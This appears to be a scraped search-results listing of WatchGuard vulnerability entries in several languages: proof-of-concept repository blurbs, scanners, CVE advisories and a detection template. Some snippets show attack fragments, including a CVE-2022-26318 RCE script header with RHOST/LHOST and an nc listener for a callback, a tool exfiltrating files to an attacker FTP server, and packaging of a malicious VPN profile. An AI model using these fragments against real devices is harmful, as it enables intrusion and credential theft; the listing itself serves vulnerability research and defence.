1025 matches found
cve-2022-31749
CVE-2022-31749 von 1vere$k Einfacher PoC-Checker für CVE-2022-31749 von 1vere$k. Er nutzt eine Parameterinjektions-Schwachstelle in der WatchGuard SSH-Schnittstelle aus. Die Schwachstelle erlaubt es einem Benutzer mit niedrigen Berechtigungen, beliebige Systemdateien auf einen vom Angreifer...
watchTowr-vs-WatchGuard-CVE-2025-9242
watchTowr-vs-WatchGuard-CVE-2025-9242 Detektions-Artefaktgenerator für WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Technische Details finden Sie in unserem Blogbeitrag Erkennung in Aktion root@kitploit: python...
Watchguard_WebUI_Unpacker
Watchguard Fireware Web UI-Update-Entpacker unpackwatchguard ist ein Tool, das dieses Dateiformat sysa-dl entpackt. watchguardsysadl.ksy enthält eine Kaitai-Beschreibung des Watchguard Fireware-Web-Update-Dateiformats. Info Dieses Update-Format wird von WatchGuard Firebox-Firewalls verwendet. Der...
Watchguard-RCE-POC-CVE-2022-26318
Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 O CVE para este problema é CVE-2022-26318...
hook
Hook Hook nutzt eine Parameterinjektions-Schwachstelle im WatchGuard SSH-Interface aus. Die Schwachstelle erlaubt es einem Benutzer mit niedrigen Privilegien, beliebige Systemdateien an einen angreifergesteuerten FTP-Server zu exfiltrieren. Glücklicherweise gibt es einen integrierten Benutzer mit...
watchguard_cve-2022-26318
watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...
Watchguard-RCE-POC-CVE-2022-26318
Watchguard-RCE-POC-CVE-2022-26318 تم تحديث PoC لـ Watchguard CVE-2022-26318 ليعمل مع Python3.12 نظرًا لأن ssl.wrapsocket مهمل. PoC مأخوذ أصلاً من https://github.com/h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318/blob/main/POCwg.py...
CVE-2026-57910
Improper authentication in the WatchGuard Agent allows an unauthenticated attacker with network access to cause the agent to execute arbitrary code with elevated privileges...
CVE-2026-57909
A path traversal vulnerability in WatchGuard Agent allows a remote, unauthenticated attacker on an adjacent network to execute arbitrary code on an affected system...
CVE-2026-57910 WatchGuard Agent improper authentication allows unauthenticated remote code execution
Improper authentication in the WatchGuard Agent allows an unauthenticated attacker with network access to cause the agent to execute arbitrary code with elevated privileges...
EUVD-2026-65438
Improper authentication in the WatchGuard Agent allows an unauthenticated attacker with network access to cause the agent to execute arbitrary code with elevated privileges...
CVE-2026-57910
CVE-2026-57910 affects the WatchGuard Agent , where an improper authentication flaw allows an unauthenticated attacker with network access to cause the agent to execute arbitrary code with elevated privileges . The vulnerability is rated CVSS 4.0: 9.3 (CRITICAL) , with a network attack vector, lo...
CVE-2026-57909 WatchGuard Agent path traversal allows unauthenticated remote code execution
A path traversal vulnerability in WatchGuard Agent allows a remote, unauthenticated attacker on an adjacent network to execute arbitrary code on an affected system...
CVE-2026-57909
CVE-2026-57909 is a path traversal vulnerability in WatchGuard Agent that allows a remote, unauthenticated attacker on an adjacent network to execute arbitrary code on an affected system. No user interaction or special privileges are required. The CVSS 4.0 base score is 9.4 (CRITICAL) , reflectin...
EUVD-2026-65439
A path traversal vulnerability in WatchGuard Agent allows a remote, unauthenticated attacker on an adjacent network to execute arbitrary code on an affected system...
CVE-2025-1910-WatchGuard-Privilege-Escalation
تصعيد امتيازات عميل WatchGuard Mobile VPN with SSL CVE-2025-1910 تسمح ثغرة تصعيد امتيازات في Mobile VPN with SSL من WatchGuard MD5SUM Pack into a .wgssl file tar -czf ../clientexploit.wgssl client.ovpn MD5SUM run.bat cd .. 5. اخدم الملف الخبيث client.wgssl عبر flask: root@kitploit: Start the flas...
CVE-2025-14733
WatchGuard IKEv2 Scanner — CVE-2025-14733 识别易受 CVE-2025-14733 影响的 WatchGuard Firebox 设备。CVE-2025-14733 是 Fireware OS IKEv2 实现中的一个严重预认证漏洞。 此工具通过标准 IKEv2 协商执行安全的版本检测，不会尝试漏洞利用。 环境要求 Python 3.8+ 无外部依赖。 使用方法 root@kitploit: Single host python3 CVE-2025-14733-Scanner.py 192.168.1.1 CIDR range python3...
WatchGuard Fireware AD Helper Component - Credentials Disclosure
WatchGuard Fireware Threat Detection and Response TDR service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext. id: CVE-2020-10532 info: name: WatchGuard Fireware ...
